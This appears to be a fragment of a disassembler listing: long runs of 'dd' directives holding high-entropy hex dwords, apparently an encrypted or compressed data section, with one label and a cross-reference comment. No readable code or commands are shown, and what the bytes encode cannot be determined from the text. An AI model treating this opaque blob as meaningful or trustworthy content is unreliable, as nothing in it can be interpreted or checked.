		dd 0D3BBF10h, 835EE501h, 6CABD39Bh, 18471F04h, 5C716029h
		dd 0C416D518h, 0F8B04802h, 23F0A033h, 2F2491F3h, 0F0F4F8C2h
		dd 2C9509DEh, 90E4A8ECh, 1D710427h, 808E9110h, 6073B9CCh
		dd 1AB07C2h, 0D222F0D4h, 248F66F2h, 4E740885h, 0F3963C38h
		dd 308FB294h, 0DB7FA3F1h, 80020F4Bh, 1476F5Dh, 300A66AAh
		dd 0C40D090h, 0C538246Eh, 1370A64Ch, 0ACF88479h, 8C61BCDCh
		dd 0A1FB8303h, 166CA37Dh, 0C0379870h, 0C25BD898h, 9BA183Fh
		dd 0D3789F12h, 17C95868h, 5431E400h, 0C3DC645Bh, 2E730DBh
		dd 488B7DE9h, 0C473EA81h, 963049A2h, 33E312D5h,	5F730790h
		dd 5C48BB29h, 0FB00BC13h, 42636162h, 14669FE5h,	0E48AA9B4h
		dd 37D7CBC0h, 1B74215h,	3356EFD8h, 9B048E00h, 22D8285Dh
		dd 0CD590036h, 0B1D35C8h, 2D00BDFCh, 0A7781BEFh, 2D893CA5h
		dd 0F082CF0Fh, 8CC35587h, 9F884171h, 1CAE05AFh,	80E5F6E8h
		dd 6696FBBh, 0C4606CBEh, 81583F85h, 0A24FF0D1h,	5C0108BAh
		dd 0C7C59F0Fh, 824F363h, 2453078Bh, 1B14F1A9h, 1EF4C802h
		dd 613FF80Ah, 6D69AA40h, 0B46F2Bh, 0BC8E5576h, 92192910h
		dd 88CB4E5Ch, 0B4240584h, 8600758Eh, 35665480h,	12D4033Eh
		dd 0F57C67C7h, 0BB69DFE8h, 4C737D18h, 3055D3D8h, 0C569109Fh
		dd 0F4B48FD0h, 0A4FB8888h, 41731750h, 1E4FD204h, 0F8902F7Fh
		dd 61295DE2h, 0C3C291E1h, 68193E27h, 0BB024048h, 0FAF05859h
		dd 2407862Ah, 309DD127h, 58C2A2D4h, 0ED5C401Fh,	0D710120Bh
		dd 6E142226h, 467CFCF6h, 776107FAh, 0B654AC7Dh,	0ABF04C1h
		dd 30B4F601h, 87015940h, 83565CF3h, 93E0D977h, 433C9A65h
		dd 0B87448D5h, 0F3098C94h, 78160A8Eh, 6B5D00BCh, 508D559Ah
		dd 63171F46h, 0E4D0BE0Fh, 40393836h, 979FD887h,	80919110h
		dd 453C202Eh, 49E4022Bh, 46638E24h, 5D299CC8h, 0D46F4F78h
		dd 50374030h, 976C3B65h, 185F20E6h, 8D23703Eh, 1A9CE200h
		dd 12BED051h, 90367BE7h, 0EADBD08h, 778AD100h, 0FAB2E5FBh
		dd 90273FDCh, 0C35AE681h, 0E08FD3h, 0BB6B4F2h, 335DA307h
		dd 2F2D40C0h, 2DD4084Ch, 0ACE81340h, 677009BEh,	0C2251064h
		dd 4C8C04Bh, 749F9DCBh,	0E8960311h, 0C2532F0Ch,	80175F90h
		dd 6C804691h, 0DE9AE2BCh, 0AC32F0FDh, 3A0166E0h, 5D8A7877h
		dd 227A4787h, 0BF212A2Ch, 49805862h, 68B22880h,	0CA1D6D4Eh
		dd 0F005CC4h, 8BEEFFE6h, 335FB7h, 58DD8E40h, 6D001012h
		dd 296AC3E3h, 6163C00Ah, 872B2009h, 0D69874F5h,	0EBC39B17h
		dd 78853C43h, 0B853E873h, 0D7D00F1h, 0FA4A6E92h, 415C39C1h
		dd 0A9233720h, 0E7504229h, 67176444h, 63DE80E1h, 74017C22h
		dd 0E65B53CDh, 0E0CD6E21h, 20F0E466h, 5B0FE27Ah, 89154F45h
		dd 70805BFBh, 9E13CE74h, 20A235E3h, 0A8692A00h,	1608CAB0h
		dd 0F9DE5914h, 70D15FA3h, 246A921Eh, 8812C0A4h,	0E71C9D3Ah
		dd 134E095Bh, 0E2A4C293h, 20BC5A17h, 0DD056E98h, 87C69EFh
		dd 916808BEh, 7B08D024h, 1CF60C1Ah, 98007989h, 0EB064E85h
		dd 61AF59h, 0CF9120CCh,	0DFFF443h, 502C22FFh, 360F48FCh
		dd 3289201Ah, 0A4443448h, 0FB4674A8h, 4049B21Eh, 5796B07Fh
		dd 0B538085Bh, 0E0BB30F1h, 84181B0Eh, 1AC7B44h,	9C0852F9h
		dd 801503E3h, 0CB53C271h, 4E258D9Bh, 0A200B4BBh, 844B8527h
		dd 4A8F378h, 8C46FCh, 0AD64E2B4h, 338C25DEh, 983EFC0Bh
		dd 32187081h, 3461E62Ah, 0FC68BCB0h, 3FC46456h,	98742744h
		dd 0FFAFD884h, 987CA825h, 2B7A030Bh, 0FB11881Fh, 3600D090h
		dd 161A8AE1h, 0F29BC73h, 840E80AAh, 0F751B805h,	7C6B0041h
		dd 0E413AB7Bh, 7902B795h, 0C22BD29Fh, 2DC0F44Fh, 4C6E28E1h
		dd 534B96C8h, 33C0609Eh, 0FDB21C59h, 983D952Fh,	0FFEBA430h
		dd 0E0018425h, 0FD0045F3h, 349C27EAh, 1829E00Ah, 35C04300h
		dd 3A7399C3h, 8D802780h, 515D771Bh, 0EF01BC21h,	2485F475h
		dd 647203C2h, 91740600h, 0D0BD5336h, 821F7B01h,	0C72E4D0Ah
		dd 5B58C03Ah, 0DA0F6111h, 547BDBC3h, 5DE31348h,	0E1B36021h
		dd 0F45A0502h, 706A1901h, 29D4FD5Ah, 2C08923Ah,	0B00CA025h
		dd 13C440A6h, 8F0513BBh, 0C08EC89Ch, 87FB6571h,	0A4078B38h
		dd 0D5422820h, 0BF8A0186h, 8BDC506Fh, 6B255352h, 1E30C826h
		dd 0EE441460h, 275AD872h, 0AC9FC508h, 0A3559F00h, 0C32225C8h
		dd 251ECA44h, 44140794h, 9DD03ADAh, 10C9B004h, 49BD60ABh
		dd 58102610h, 0E1025F7Bh, 0DBC1F496h, 4974F087h, 58818CF3h
		dd 5907DB0h, 6E0B10A3h,	0A4416598h, 0D4002ACFh,	0F2A09F12h
		dd 0D3CC06CEh, 397C1F4Fh, 777EB713h, 50BD9400h,	907AA9F3h
		dd 6D9A006Dh, 977D4A5Dh, 0C54F2678h, 424BDCB0h,	0B7D8505Fh
		dd 902DD3E3h, 1D20B840h, 0A2135E93h, 24695AC4h,	25172C66h
		dd 0FC20A077h, 0C0B5CB4h, 5A9C70A3h, 113C0022h,	65A254B0h
		dd 0A1986227h, 437346DCh, 10841825h, 583DD1F9h,	80FB3F50h
		dd 950EA60Bh, 90C1A7D9h, 0FBF8C09h, 8D60421h, 0B3A820F3h
		dd 0D981F66Bh, 7156196Ch, 120FFCC2h, 9088D0D2h,	7C367451h
		dd 20FE5202h, 357B7582h, 72FBB21h, 276DC107h, 9A18816Eh
		dd 2B0E4A2Eh, 0AF856C6Dh, 0D7C00455h, 1020304Ch, 70275A73h
		dd 11AB54CCh, 0F9671C09h, 77CC0247h, 0D9CB0043h, 0A36EC59Fh
		dd 0B8344F9h, 0B4538E05h, 0F000B5CCh, 0C1C5ADDAh, 0C7DBF2h
		dd 9DA29C78h, 2B4D4042h, 0E6A52903h, 0F06E659Eh, 67179A19h
		dd 0E7F820A1h, 35D730E4h, 3E07609Fh, 9E752EA2h,	0FD795043h
		dd 7D02F488h, 0DE110013h, 966E2493h, 0DA90D226h, 0C87DBA3Bh
		dd 7AF00A8h, 88C451A1h,	3B907EEh, 811F0830h, 73FA6FEBh
		dd 3035E290h, 21182877h, 6360F2F3h, 0EDCB6B3h, 1D33A285h
		dd 9A1DC3h, 0AA641136h,	0D50426D8h, 5BE66DC2h, 298C4EEAh
		dd 0C8961D45h, 5C38C148h, 54F803C7h, 1726308Ah,	8F91418h
		dd 89801508h, 411BAC8Ch, 82F02636h, 5EBA8518h, 0E8286828h
		dd 281141CAh, 63253A70h, 7EA580Ah, 4A3F101h, 35B607Dh
		dd 0F429B47h, 83F074C0h, 38D536D7h, 4F5F19B1h, 0C1602540h
		dd 39806CE0h, 0C126C29Ch, 9609EE6Dh, 0F252AC3Dh, 0DB2A353Ch
		dd 1B2C8D41h, 8B54823Ch, 0EBA4A13Ch, 0D45428E9h, 256EB4D2h
		dd 21342AF4h, 0F1C8794Ah, 5A25F8FDh, 29EECA04h,	83016443h
		dd 0FB0A6C2Fh, 628BC798h, 0D2482751h, 70EABCB6h, 911D0B8Dh
		dd 6E685CC8h, 40089048h, 2A40F0F8h, 73AE9DEh, 0FCEF364Ch
		dd 0C464CC61h, 0F4272EA9h, 66AA0063h, 0B9BE0F8Dh, 4BF000E4h
		dd 15D9CD14h, 15AEB01h
		dd 0C963BCA8h, 707C152Fh, 4C179900h, 89542C2Ah,	94ACA0B7h
		dd 56A26FFBh, 0F1292036h, 96F605BCh, 0C1A0091Ch, 6C589C29h
		dd 50EC421Ch, 0E95309FEh, 8102143h, 0CA6A0B4Eh,	6CBE8F0h
		dd 0F9152504h, 402008D2h, 411420D4h, 7F6E3C20h,	30B38068h
		dd 80E52C80h, 0A180F42Fh, 442380C5h, 800F5080h,	1C80A452h
		dd 0FC268024h, 800B1E80h, 538016D7h, 0D4980ECh,	804D3280h
		dd 71802FAAh, 3CB48013h, 80BAE180h, 6E80D103h, 0C82E8043h
		dd 80F7F280h, 4F80B7D9h, 0ADF48058h, 834BAF80h,	30023AFAh
		dd 31C20642h, 20556220h, 0DE20EB95h, 499662C6h,	88021DFBh
		dd 0BD55035Fh, 20278920h, 0F32063EDh, 0CE8720DCh, 2019B320h
		dd 1BF6DD9Ch, 8101CC80h, 8F09883Ch, 0CA39084Ah,	8B3B808h
		dd 0DA181AFAh, 81658AA1h, 0BEC8517Fh, 10BA03EAh, 2A05CE89h
		dd 0C820BC0Ah, 46E92033h, 54F36F20h, 4070FC32h,	0E040E2DEh
		dd 4DEE40B0h, 4047BB40h, 2C4024A9h, 0BFBC4048h,	0C1FAA9C6h
		dd 7421CC89h, 0F8400C09h, 333640A4h, 20191C4h, 4A55704h
		dd 6304702Bh, 88F108F4h, 0E1085A4Dh, 44DD0854h,	2060171Eh
		dd 7120C7BBh, 0BA122064h, 20F24C20h, 5120C2B6h,	3F32071h
		dd 20A7EC20h, 0DB541058h, 0D54037E4h, 7709DF1Ah, 6B6E4D9h
		dd 0C439404Fh, 4069F81h, 55042056h, 0FED80424h,	4511C00Ch
		dd 0EF7BA8A8h, 108C29D1h, 0C71057B6h, 68FB1045h, 0EF88352Ah
		dd 191BDC51h, 15C4101h,	5B01EB05h, 67FA01C0h, 1631F01h
		dd 0ED0211F7h, 0E545B8A2h, 204D1003h, 2220B709h, 5188F7F7h
		dd 0B00831ABh, 327208A6h, 18CBE708h, 0EB291EBh,	8008AD80h
		dd 1D81C3ECh, 6134B857h, 4F92004h, 440446DBh, 0E83B0A07h
		dd 8BC3C88h, 0B10DD09Ah, 2FA611Bh, 0C5054356h, 0DC488044h
		dd 0BE710F0Ch, 23F219C4h, 1CE4B504h, 0A42A09D0h, 28592080h
		dd 203DD920h, 0FD2037DEh, 0D4015430h, 83174047h, 40A16240h
		dd 3E403D29h, 10C22DCBh, 0C61FA820h, 8D25FDEFh,	0CF300EA6h
		dd 0B376A6EEh, 7DDC0010h, 62107832h, 0D709A461h, 41452796h
		dd 0A830023Ch, 0DE9E00B1h, 0A5645983h, 783DD92Dh, 6E1674F2h
		dd 0B8355B13h, 555A9880h, 9ACF003Ch, 0DC6E167Bh, 10037A0h
		dd 0B886F52Bh, 8906A2h,	30D63F2Ah, 45EEDF3h, 6DECE800h
		dd 1ABD40Dh, 17860441h,	0C0BFC443h, 0D1F2B824h,	1648F107h
		dd 0FB0464h, 578C84C8h,	12E9DF3Eh, 9F64802Ch, 0E21A54A5h
		dd 501021C2h, 0DB631820h, 478D38AEh, 0BE4D858h,	0AC4204h
		dd 0F6F92898h, 0E7F9C9F4h, 293A2A80h, 8EB0ABB9h, 7204E1C4h
		dd 8AECF0h, 0A60E4A86h,	8FF26A9Eh, 0F1513E07h, 0B1433F11h
		dd 3B99EE29h, 0E485329Ch, 2A24A96h, 2A8CA19Ch, 0C47C78E4h
		dd 40922935h, 0E60E98D1h, 9007B044h, 0E259F77Ah, 6A1C1880h
		dd 6125F029h, 0CCE3107Eh, 0D6E094E8h, 0F7CF0698h, 5E8FEFBh
		dd 0EC3E518Ah, 5C840420h, 6C280A97h, 112D8C00h,	6A4D175h
		dd 558B03A3h, 0EDF41110h, 0C6F2C00Ch, 14C358D7h, 0BC5FF50Ch
		dd 50FA48CFh, 9A1668C0h, 33985260h, 4E1F0CCCh, 873C0644h
		dd 26001022h, 6F20317Dh, 5DBE044Ah, 0FE016840h,	0A92B8D69h
		dd 42744C9Eh, 67642903h, 185E08F7h, 26FAA4D0h, 0F1FBCA85h
		dd 7947CBDh, 6DED0FE7h,	5107B641h, 38227FE2h, 0CB00245Ah
		dd 0E4277Bh, 8CA392EEh,	47BF8A29h, 19A43402h, 0A84511F3h
		dd 2CC1FCBCh, 821C22Fh,	124DA9ACh, 0B5040E7Ah, 0D2A66A27h
		dd 0C4A264BEh, 3C2A864Eh, 71287803h, 7481FCBCh,	38241131h
		dd 0E4F71846h, 0D4EFB8D3h, 9923CF00h, 47690E7h,	281467B5h
		dd 904A34E2h, 0C2DB8608h, 185AC124h, 98908835h,	94164AEEh
		dd 0E89F0Ch, 0F79F02A6h, 60C78E76h, 0FE8E12A2h,	7C46C812h
		dd 0E61C0B1h, 548C8953h, 1393A560h, 8B1814A4h, 0D4118A2Ch
		dd 0D07609FDh, 0A8D8D163h, 616A018h, 809AF860h,	0EA2EB13Ch
		dd 0FC1DC5F6h, 18C99D0Ch, 63530C87h, 5A90A06h, 0C0996D00h
		dd 505591CCh, 0F31F559h, 28E2D330h, 199CC548h, 40A29CF6h
		dd 0D900E385h, 0F45136EAh, 0A0F0C0h, 0EF6C90EBh, 9638DDFAh
		dd 0F9279300h, 609172FCh, 69BA3E2Dh, 0B087F60Ch, 7B3F16A1h
		dd 5C8A02D6h, 0B462F7h,	0D8CD5652h, 2B58BC60h, 38D4E8h
		dd 0CA2301EEh, 0F9EA1A58h, 8A049F0h, 7B51762Ah,	98C45BCh
		dd 0E00FC114h, 5412A98Fh, 70551470h, 0D44093FDh, 194989DAh
		dd 78D232F7h, 9FE8E0DBh, 9E14A27Dh, 80E048EFh, 14D77AB9h
		dd 86C72AC2h, 8C8512FCh, 0D0B82252h, 0B6F70C82h, 44A28849h
		dd 922421F8h, 9C436E56h, 90F318D6h, 208D44h, 42A59ED2h
		dd 30A41A2Dh, 6C6AC224h, 2B508D40h, 144A74E5h, 0C0C86763h
		dd 0AA5D6E02h, 0F8485337h, 94984DBAh, 508C8713h, 7D0E0431h
		dd 0BEE2400h, 8CA5C000h, 0A34AFB27h, 2DFDF8FFh,	10C05103h
		dd 0F71253EAh, 0DC4995CAh, 0DDD4008Bh, 0A0E9E229h, 9130ACA4h
		dd 1682AC0h, 66B6DC82h,	0C4D3DDA9h, 0B90C6237h,	90466B63h
		dd 0AA21C8Bh, 31A4429Fh, 20802FACh, 490B5FF6h, 759CEF1Fh
		dd 0AC140500h, 1A5F5h, 378C3E27h, 0F68A4023h, 0A800AB7Ch
		dd 0C46D2B0Eh, 98EDC619h, 0C080909Ch, 8F2A908h,	4A4A9E8Ah
		dd 0B4087CB1h, 0D67726F6h, 2788B050h, 6317EEFCh, 98E0DCA9h
		dd 7AC50021h, 36EDF580h, 0A012DD9Bh, 0E87152C1h, 7C2384DBh
		dd 0EF3C0048h, 0D339638Fh, 2460E99Ah, 1A0ADFF7h, 90A36526h
		dd 0C8592800h, 8C70E8h,	0C33F9A30h, 8B082DCBh, 3E5A5000h
		dd 0F7689BAFh, 4CB198EDh, 0CCB7B465h, 0C204F6A8h, 0A53376C5h
		dd 0A2D18D1h, 0D255B701h, 541DF8A2h, 49ABC81h, 15835A0h
		dd 750E5C8h, 0C9288F1h,	79C21883h, 0BFA3D929h, 0D239A4F8h
		dd 0F945F712h, 0EA8A0062h, 0CE34600Ch, 91851B84h, 1832409Fh
		dd 42AC788Bh, 41587C58h, 208A4A66h, 2FEE9490h, 0ECA26F00h
		dd 2615ABDFh, 0AC173E0Bh, 57CB4F03h, 2DE0B0ADh,	6A040E87h
		dd 0C6270C5Eh, 0A6CC82h, 894515F2h, 63DF3B09h, 3A807E36h
		dd 1E924B9Eh, 3EB62EA0h, 0BD18653Ah, 2CAA909Ah,	0D4E40A28h
		dd 0CCE2BC28h, 0ECD06426h, 0AAF22982h, 3C0C640Dh, 0B62C63C7h
		dd 13ACA610h, 3130F125h, 0BDCC3410h, 12F9F300h,	74C2286Eh
		dd 157B3995h, 0D9EA3B83h, 510C643Fh, 687C0FF7h,	0F89148D8h
		dd 0E0D9F6C5h, 0C1004EF0h, 917C29C8h, 0E6084F5Dh, 1EF7D89h
		dd 6EAB2B13h, 26852811h, 0E2640C04h, 9E88C9h, 32CD838h
		dd 0EE534D8Ch, 9AD6FF07h, 59E3F3F9h, 0D23A89A5h, 3520170h
		dd 328D705Eh, 5F80EDE6h, 0F40911A2h, 21353A29h,	66DC1030h
		dd 763F1833h, 0F8B4B0EEh, 262A8454h, 1400E8DBh,	9803F4B6h
		dd 9757FD54h, 0F2B93FA0h, 2AA49950h, 862D624h, 0F959FD81h
		dd 38304D8Eh, 0BDBE0B1Bh, 420297E6h, 30C1D996h,	82EFE529h
		dd 2DF77B58h, 169C8091h, 6EDBA42h, 3EFAE172h, 7527084Bh
		dd 1CEC5898h, 469EEAA4h, 0B825E404h, 0AC025D7Ch, 8063F1EFh
		dd 839481CBh, 6047490Ch, 989A8Fh, 1CA4A9EBh, 334C3F7Fh
		dd 8FF9EE01h, 0F866C750h, 90C4E12Fh, 0D0C0D7DDh, 0F8B19EDCh
		dd 986854CAh, 91EE00FBh, 5D2C1057h, 235FF718h, 20BC5400h
		dd 95D96FC5h, 77FD30D0h, 91F00958h, 0F62890FFh,	4CBC4D6Bh
		dd 31AC330Bh, 22FDFC9Bh, 60BEFCh, 68B2C3BBh, 20C7B320h
		dd 0AF7C52C4h, 78BA092Eh, 80241424h, 20CD0409h,	10C3C1F0h
		dd 0A008B18Bh, 0C348080h
		dd 0DC641439h, 233D9880h, 45190400h, 0BE662C8Ch, 974F4E00h
		dd 67731D60h, 0E36C0033h, 2EC3E246h, 0B9000E40h, 549FA73Ah
		dd 4CD42A83h, 8E80AEEFh, 91D10884h, 0FD645B00h,	656FBCBFh
		dd 0F7C417B9h, 0D980C433h, 0F03744A0h, 150CEED8h, 0AC1BA204h
		dd 0E84C48B1h, 0F980884h, 0A4589DF1h, 25938018h, 0ACA0558Ch
		dd 0DEF50BACh, 0D9E39D02h, 85D1C229h, 0D987CD98h, 8A06DA1h
		dd 68B4F820h, 6088F9A2h, 38F2642Fh, 1788126Eh, 608A1C92h
		dd 5BC6D984h, 8D14423Fh, 0E0ABB60Bh, 0CFAEEC22h, 9EC7C400h
		dd 23851288h, 8E4CC06Ch, 0C31DDD4Ah, 910F9FD2h,	0DBE80196h
		dd 9061859Ch, 0EB801462h, 0C5F4D28Ah, 8B55F718h, 0DC42169h
		dd 0DBAE0315h, 1DC2DC58h, 0D2241AF8h, 630638D9h, 0B0D8EE57h
		dd 0F0E60298h, 50E96B70h, 37772850h, 2BD14208h,	1138191Bh
		dd 52E443D0h, 0E0DEE0F1h, 510925CDh, 8392DB0Bh,	882C9DE0h
		dd 0B66C634Fh, 0B9390EBCh, 0F064133Eh, 85179B20h, 9200D077h
		dd 9F3EBBCh, 0E60A282Ah, 4FE500C0h, 0FDCB2794h,	4224296Eh
		dd 91404857h, 5C3C8DB1h, 1D00F8DCh, 0F63A7DCFh,	0F8CAA9ECh
		dd 57618C55h, 3BE890F1h, 29481B6Eh, 73986145h, 0DE3906C9h
		dd 0F1C30095h, 0ADC4EC4Ch, 0C0F900EFh, 9D5B438h, 0E6788946h
		dd 0DB40DCB0h, 104E099Ch, 0D000BB99h, 8E51AA55h, 156F5B0Bh
		dd 54640A8Bh, 0DBB02CC7h, 1E5FDD59h, 8A2DC0E9h,	0B85189h
		dd 0C111C2FBh, 6334C566h, 0D8879804h, 0B0E82055h, 0C52CD494h
		dd 0A4A09DA4h, 93556730h, 528825DAh, 0B87D6A62h, 17BC2E5Ch
		dd 1CF02F2Ah, 38D40019h, 0F21AA25Eh, 86024A1Eh,	0F70C538Dh
		dd 2600FC03h, 1A9592BCh, 0C49B9A3h, 0C29FC40Eh,	2E1E0318h
		dd 7963C118h, 0E584A0E8h, 48A3F6FFh, 71A8FBh, 0BE60DB88h
		dd 0AA6402EEh, 925D1001h, 45BD9658h, 0DFA5B3E4h, 29BC8338h
		dd 0A03BFCFAh, 66169C79h, 4113A064h, 299F8002h,	704FC60h
		dd 8405D7CEh, 300AAFA7h, 0BB0188BEh, 0AECFF779h, 270C34h
		dd 9F64EAAh, 91ED672Ch,	0DFA46058h, 5060DED7h, 619BB6DBh
		dd 0D5CF208Eh, 0A5BC3108h, 2A78C858h, 9CD94D07h, 173323Eh
		dd 0D4DCA9F1h, 2B49EF7Dh, 2944C4Bh, 0E31404D8h,	0F85EC11Dh
		dd 7F9F60E8h, 0E9EF002Bh, 0CF5B3302h, 0F305E4F7h, 0AA2E63B8h
		dd 4F9B8400h, 5DA7A9h, 0E3D75927h, 0FF63F535h, 7B0C105Ch
		dd 4D963499h, 0CEC64C40h, 97C70483h, 0FD97C800h, 885005F6h
		dd 514A3670h, 29A20860h, 2C0C98C3h, 0BC180F43h,	33839D89h
		dd 0A5074803h, 6FF7D0C1h, 51F30CD0h, 4C6B075Fh,	978D2A35h
		dd 0A4104BE0h, 0C89A3EF7h, 78B84100h, 19C2F9C0h, 8004128Eh
		dd 9F3C01EEh, 70C46460h, 4C965A5Dh, 0A66898B7h,	1C852798h
		dd 89E0C7D4h, 0F1CFD8C0h, 6413A498h, 4C20E037h,	1E0B7078h
		dd 14E9EA24h, 0C81C0849h, 1CF100E5h, 0BE4CF77Dh, 60008BAh
		dd 5FF6889Fh, 0EA18DE4h, 368A3D5h, 9C854Ah, 0D7566152h
		dd 0A43ED15Ch, 0EF7583E1h, 762916h, 445491D2h, 0F7661158h
		dd 58CD7332h, 3F80A2A6h, 524F00CBh, 0CA000295h,	16845A09h
		dd 957D643Bh, 0A59D2040h, 0B0D34833h, 0C020C20Dh, 968B38D4h
		dd 421444F4h, 0B0342Ah,	0F678F9ABh, 0A6380160h,	2C0487DCh
		dd 0A60C060Ah, 0BA850668h, 2A131075h, 50B45038h, 0A4CE01DFh
		dd 64470C42h, 4C803F6Eh, 9AB849EDh, 0C3C61F24h,	3055160Bh
		dd 12413AA4h, 9E70180h,	0B9B7B643h, 0A1D5B006h,	24258C03h
		dd 0C0B80B9Dh, 2529EFF8h, 88188103h, 41A9A79h, 42A9D8A4h
		dd 2644BB20h, 648C5D28h, 8298A081h, 32104095h, 0AA950083h
		dd 0D2540C4Dh, 9B51A6F7h, 0C3042DB4h, 5090F04h,	8FF79268h
		dd 0F6A48079h, 89ABBE3h, 70292828h, 401DF53Ah, 890CB147h
		dd 10906FFFh, 55808E57h, 0C8F0477h, 0A0E911B8h,	58B6D268h
		dd 268EB588h, 172AC2F4h, 0A30114FEh, 0DCBBC0FEh, 9D2DAC62h
		dd 5D6A882h, 0E4C430C2h, 0BB096E71h, 0C4271463h, 57B77ECh
		dd 9FE9A480h, 8414C0D7h, 80B8DBA3h, 486FC20h, 6D065BDAh
		dd 5514C294h, 5C3FD27Ch, 0E77D00C0h, 6FD2F7CEh,	0D8291347h
		dd 20088994h, 3E501DDCh, 68B4D4F4h, 0EA78FD1Bh,	0B0C445Ah
		dd 6E8F6203h, 604E448h,	55118360h, 90DABA70h, 80F62080h
		dd 0E2F48501h, 6E8C1DF1h, 2E00E02Dh, 2CAC09FEh,	0D22EFC42h
		dd 240724B1h, 0C43798DFh, 0D0C1EE04h, 0D8D4CB7Dh, 290207EFh
		dd 45D7203Bh, 0CDCC4BBAh, 0D6F63080h, 943E2772h, 13040C63h
		dd 659017h, 2076FC19h, 1D16EDF5h, 0E6F3AB02h, 6AEA5129h
		dd 2764ECDCh, 44B8F8ACh, 0BB612504h, 0F2ABBA50h, 12A41040h
		dd 1244999Fh, 0F7E4B0DCh, 22933Ah, 52578B65h, 13059E74h
		dd 83BF4664h, 63A81404h, 0B4A03DE0h, 0E65B528Dh, 80B17425h
		dd 0C703486Ch, 705F7CDh, 0F4AC7141h, 1706C2BCh,	0C1CF0494h
		dd 968C2998h, 3C2CACh, 0BF3390ADh, 0BD641E29h, 84C0ECE8h
		dd 0FF4ABCDh, 2CBC5ECBh, 87C52820h, 0F8941FF6h,	89B09A25h
		dd 2578E800h, 381EFC34h, 5A98F665h, 59DCB0FCh, 0A352F002h
		dd 0EACA63CFh, 5848404Ch, 0DDBA0499h, 0C0B0FA27h, 784C7668h
		dd 30AB9C00h, 9E3604E1h, 643809C4h, 2CA35699h, 0F5E7AEFEh
		dd 96900BF1h, 70924841h, 3C14EC1Ch, 0E0C6D4h, 888B674Bh
		dd 58C236BCh, 53C01C32h, 0D856A3C5h, 11909098h,	5DC0A8DDh
		dd 0E2FB465Eh, 283D2063h, 485188A1h, 0F49EAAFCh, 44A843Dh
		dd 50D7AD38h, 0D4E56B75h, 503E5EFCh, 48C68CECh,	18610DF7h
		dd 3E642EA5h, 0D0983C16h, 0A4F58292h, 0F8811950h, 2889784Dh
		dd 0E4C60315h, 0A0BE5CBCh, 2762FAA9h, 30004129h, 35A53DEFh
		dd 0E3F7D30Ch, 0C0CD8CCh, 0E2776437h, 0D9D82730h, 99A1918h
		dd 9B740458h, 986380A0h, 0A5035095h, 0EB915C37h, 88110B97h
		dd 54C0C604h, 158922Ah,	0F32080BCh, 743755DCh, 0B19F0E4Ah
		dd 98144229h, 0EEEB2AC2h, 8EDE0D0h, 75A12585h, 2535090h
		dd 7F45D04h, 0F5FAE2h, 26B72820h, 8CC0345Ch, 0A0C8A7C9h
		dd 0D5DD5200h, 6191BD55h, 0BF4EE835h, 74DC8800h, 0D40026CFh
		dd 905C31ABh, 0A0C3FCBh, 65EFD240h, 809844BCh, 0E2C7F164h
		dd 22090E00h, 0F2D0D9A4h, 6D70ACCh, 42CCFC91h, 1C81539Fh
		dd 93DA452Ah, 0BCD1F4D0h, 98756237h, 3DDEF703h,	831212D8h
		dd 82D809A6h, 0C0805C85h, 0EFD3C544h, 85C2FE3Bh, 6329B7DCh
dword_4E414C	dd 0F5ACF040h, 6DE08Ch,	5591DE53h, 0D6704897h, 86F4Ch
					; DATA XREF: ___:off_43A188o
		dd 0AA1169Bh, 27A49E9Fh, 824403Eh, 0A640886Ah, 825A3898h
		dd 7060E429h, 3EDC184Bh, 642640DDh, 0C7520h, 0BBC87852h
		dd 0DAEDE4E6h, 1D0D057Dh, 50A12F2Ch, 0C0105C32h, 932800ABh
		dd 0C3B41323h, 3E14B03Ch, 3003BFFAh, 0A60D59DBh, 0C663C288h
		dd 16687A4Dh, 2888156Ch, 49EF60E0h, 0A3C1E730h,	0CF29DC18h
		dd 8CF421h, 0EFCD1BBDh,	90C6D06Bh, 3F29950Dh, 0D7E4B0E2h
		dd 63C80C67h, 8748BAC7h, 59C010B9h, 70D80F89h, 0B5037A2Bh
		dd 9660E000h, 64EAEC7Fh, 40C6D337h, 248062C4h, 0B81C94DFh
		dd 693C2C58h, 2AF29D4Ch, 0CE2020FCh, 2464AA48h,	95631092h
		dd 24B1BB04h, 845CBB60h, 37032Ah, 0D053A0C7h, 0FA2F7EA5h
		dd 0A03D7C6Eh, 679C224h, 0B028F9D7h, 0C0B618AEh, 0F88D0860h
		dd 0C7661C74h, 32007CE5h, 8815EE36h, 1A4A54B2h,	9BB91C81h
		dd 40384C00h, 0DA06EE1Dh, 80BADB0Bh, 0F5A89918h, 6F3F01D9h
		dd 3FDA3BBh, 9788527Ch,	3CA514E0h, 18FBC33Eh, 0B5F042DDh
		dd 0C48C0EC5h, 0A489D34Bh, 0F1A9C486h, 2906D61Ch, 0F2107D9Bh
		dd 6E44C2ADh, 0B44987Ch, 32896DD7h, 9FC55820h, 7D6BC304h
		dd 63140178h, 0D0312CA3h, 0F683786Dh, 0D04C6DF0h, 195530E4h
		dd 10C8CD2h, 0E788DC4Fh, 0D1995EB6h, 0DBC83089h, 2CF0B40Eh
		dd 19F180F3h, 59322990h, 3106E0C3h, 78A20103h, 3D90C75Ch
		dd 5A6D931Ch, 6FC0F01Ch, 0FABF639h, 0CDA81F6Eh,	52900AEh
		dd 0EBF0ED61h, 920025FCh, 2B467B5Bh, 96357A2h, 0C51DE2B9h
		dd 840E7029h, 41FD6420h, 633B3F65h, 0A7C2029h, 2B8B19A4h
		dd 0CE005E6h, 0F0E7C2h,	0CFBB753Eh, 0C0A0DEF7h,	0C24AA5F8h
		dd 2C9AF551h, 0D82CB89Ah, 8E080030h, 49A02DAh, 0E0688CD0h
		dd 90013CFDh, 14D788C4h, 506F9F29h, 0C902B038h,	8BD893A3h
		dd 40F8B0E2h, 6C99EF72h, 30A5B3B8h, 5889CF2Ch, 58DA4830h
		dd 0E6A4C628h, 5059B8D7h, 32F6483Eh, 0A2B0E1DCh, 144A7462h
		dd 0D88028D1h, 0D257B4B6h, 0EDC701FFh, 3BDD36Fh, 8BB7F1DBh
		dd 40DF6319h, 0E04BEE88h, 96F82494h, 1DAD0378h,	5E02941h
		dd 9A033DA2h, 6D5D5223h, 0B88D9704h, 0A83E3420h, 78B08EA4h
		dd 0FD181753h, 0A0B0171Eh, 9E4D8848h, 0E60E178Ch, 0D8D2A023h
		dd 968DE585h, 0B3D84434h, 3079222Ch, 0BEA0CA94h, 552CEAB0h
		dd 56022436h, 0D8705BF7h, 641B0BC0h, 54AB4533h,	0E71CC070h
		dd 374D6F91h, 80F110F1h, 0A8D90C48h, 0B00FE1E8h, 0A9761724h
		dd 0E2F4429Fh, 0DC71249Eh, 0B2642804h, 0E3AF8E0h, 960BB8DAh
